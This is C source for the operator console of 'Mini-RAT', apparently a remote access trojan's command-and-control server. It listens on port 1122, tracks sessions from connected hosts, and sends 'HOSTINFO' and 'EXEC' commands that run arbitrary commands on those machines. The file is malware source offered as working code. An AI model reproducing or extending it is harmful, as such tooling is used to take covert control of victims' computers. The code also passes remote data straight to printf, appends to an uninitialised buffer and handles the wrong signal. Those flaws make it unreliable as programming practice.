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#include <logging.h>
#include <server.h>
#include <session.h>
#include <mini-rat.h>
#include <util.h>
int running = 1;
int cur_session = 0;
void print_session(void) {
if (cur_session == 0) {
printf("No session selected\n");
return;
}
printf("Session %d\n", cur_session);
}
void print_status(void) {
int num_ses = num_alive_sessions();
if (num_ses != 0)
printf("Current session ID: %d\n", cur_session);
printf("Total active sessions: %d\n", num_ses);
}
void print_hostinfo(void) {
if (cur_session == 0)
return;
write_session(cur_session, "HOSTINFO\r\n", 11);
char *buffer = malloc(4096);
if (read_session(cur_session, buffer, 4096) <= 0) {
printf("Timeout on session %d\n", cur_session);
kill_session(cur_session);
cur_session = 0;
return;
}
printf(buffer);
free(buffer);
}
void swap_session(int session) {
struct session *s = find_session(session);
if (s == NULL) {
printf("No such session\n");
return;
}
cur_session = session;
s->alive = 2;
printf("Swapped to session %d\n", session);
}
void run_exec(const char **argv) {
if (cur_session == 0)
return;
char buffer[4096];
strcat(buffer, "EXEC ");
size_t idx = 0;
const char *temp = argv[idx];
while (temp != NULL) {
strcat(buffer, temp);
strcat(buffer, " ");
temp = argv[++idx];
}
strcat(buffer, "\r\n");
write_session(cur_session, buffer, strlen(buffer));
read_session(cur_session, buffer, 4096);
printf(buffer);
}
void parse_cmd(char *line) {
const char **tokens = str_split(line, " ");
if (tokens == NULL)
return;
if (strcmp(tokens[0], "exit") == 0) {
running = 0;
} else if (strcmp(tokens[0], "session") == 0) {
if (tokens[1] == NULL) {
print_session();
return;
}
swap_session(atoi(tokens[1]));
} else if (strcmp(tokens[0], "pingpong") == 0) {
struct session *s = find_session(cur_session);
ping_pong(s->socket);
} else if (strcmp(tokens[0], "read") == 0) {
char buffer[1024];
read_session(cur_session, buffer, 1024);
printf("%s\n", buffer);
} else if (strcmp(tokens[0], "status") == 0) {
print_status();
} else if (strcmp(tokens[0], "hostinfo") == 0) {
print_hostinfo();
} else if (strcmp(tokens[0], "exec") == 0) {
run_exec(&tokens[1]);
} else if (strcmp(tokens[0], "stop") == 0) {
write_session(cur_session, "EXIT", 4);
kill_session(cur_session);
} else if (strlen(tokens[0]) == 0) {
// Do nothing
} else {
printf("Invalid command\n");
}
free(tokens);
return;
}
void sig_handler(int signum) {
switch (signum) {
case SIGINT:
log_msg(LOG_INFO, "Caught SIGTERM, shutting down\n");
running = 0;
break;
case SIGHUP:
log_msg(LOG_INFO, "Caught SIGHUP, reloading config\n");
// TODO: reload the config
break;
default:
break;
}
}
int main(int argc, char* argv[]) {
struct sigaction action;
memset(&action, 0, sizeof(struct sigaction));
action.sa_handler = sig_handler;
sigaction(SIGTERM, &action, NULL);
sigaction(SIGHUP, &action, NULL);
//FILE *logfile = fopen("log.txt", "w");
init_logging(stderr);
uint16_t port = 1122;
pthread_t listen_thread;
pthread_create(&listen_thread, NULL, listener, (void*)&port);
pthread_detach(listen_thread);
size_t line_sz = 1024;
char *line = malloc(line_sz);
while (running) {
printf("mini-rat> ");
getline(&line, &line_sz, stdin);
parse_cmd(line);
}
free(line);
log_msg(LOG_INFO, "Mini-RAT shutting down\n");
pthread_cancel(listen_thread);
return 0;
}
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